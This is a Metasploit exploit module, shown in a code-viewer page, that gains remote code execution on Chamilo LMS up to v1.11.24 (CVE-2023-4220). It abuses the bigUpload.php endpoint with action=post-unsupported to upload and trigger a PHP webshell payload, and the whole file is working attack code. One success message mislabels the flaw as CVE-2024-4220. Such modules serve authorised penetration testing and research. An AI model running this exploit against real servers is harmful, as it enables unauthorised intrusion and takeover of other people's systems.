Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/http/chamilo_bigupload_webshell.rb
31173 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::FileDropper
11
prepend Msf::Exploit::Remote::AutoCheck
12
13
class UploadFileError < StandardError; end
14
15
def initialize(info = {})
16
super(
17
update_info(
18
info,
19
'Name' => 'Chamilo v1.11.24 Unrestricted File Upload PHP Webshell',
20
'Description' => %q{
21
Chamilo LMS is a free software e-learning and content management system. In versions prior to <= v1.11.24
22
a webshell can be uploaded via the bigload.php endpoint. If the GET request parameter `action` is set to
23
`post-unsupported` file extension checks are skipped allowing for attacker controlled .php files to be uploaded to:
24
`/main/inc/lib/javascript/bigupload/files/` if the `/files/` directory already exists - it does not exist
25
by default.
26
},
27
'Author' => [
28
'Ngo Wei Lin', # discovery
29
'jheysel-r7' # module
30
],
31
'References' => [
32
[ 'URL', 'https://starlabs.sg/advisories/23/23-4220/'],
33
[ 'URL', 'https://github.com/H4cking4All/CVE-2023-4220/tree/main'],
34
[ 'CVE', '2023-4220']
35
],
36
'License' => MSF_LICENSE,
37
'Privileged' => false,
38
'Targets' => [
39
[
40
'PHP',
41
{
42
'Platform' => ['php'],
43
'Arch' => ARCH_PHP
44
}
45
],
46
],
47
'DisclosureDate' => '2023-11-28',
48
'Notes' => {
49
'Stability' => [ CRASH_SAFE, ],
50
'SideEffects' => [ ARTIFACTS_ON_DISK, ],
51
'Reliability' => [ REPEATABLE_SESSION, ]
52
}
53
)
54
)
55
end
56
57
def check
58
res = send_request_cgi(
59
'method' => 'GET',
60
'uri' => normalize_uri(target_uri.path, '/main/inc/lib/javascript/bigupload/files/')
61
)
62
63
return CheckCode::Safe('The directory /main/inc/lib/javascript/bigupload/files/ does not exist on the target') if res&.code == 404
64
65
print_good('The directory /main/inc/lib/javascript/bigupload/files/ exists on the target indicating the target is vulnerable.')
66
test_file_content = rand_text_alphanumeric(8)
67
test_file_name = rand_text_alphanumeric(8)
68
69
begin
70
upload_file(test_file_content, test_file_name)
71
rescue UploadFileError => e
72
return CheckCode::Safe("#{e.class}:#{e}")
73
end
74
75
CheckCode::Vulnerable('File upload was successful (CVE-2024-4220 was exploited successfully).')
76
end
77
78
def upload_file(file_contents, file_name)
79
vars_form_data = [
80
{
81
'name' => 'bigUploadFile',
82
'data' => file_contents,
83
'filename' => file_name,
84
'mime_type' => 'application/octet-stream'
85
}
86
]
87
88
res = send_request_cgi(
89
'method' => 'POST',
90
'uri' => normalize_uri(target_uri.path, '/main/inc/lib/javascript/bigupload/inc/bigUpload.php'),
91
'vars_form_data' => vars_form_data,
92
'vars_get' => {
93
'action' => 'post-unsupported'
94
}
95
)
96
97
raise UploadFileError, 'The file upload failed.' unless res&.code == 200 && res&.body == 'The file has successfully been uploaded.'
98
99
register_file_for_cleanup(file_name)
100
end
101
102
def exploit
103
file_contents = payload.encoded
104
file_name = "#{Rex::Text.rand_text_alpha(8..16)}.php"
105
106
begin
107
upload_file(file_contents, file_name)
108
rescue UploadFileError => e
109
fail_with(Failure::UnexpectedReply, "#{e.class}:#{e}")
110
end
111
112
send_request_cgi({
113
'method' => 'GET',
114
'uri' => normalize_uri('/main/inc/lib/javascript/bigupload/files', file_name)
115
})
116
end
117
end
118
119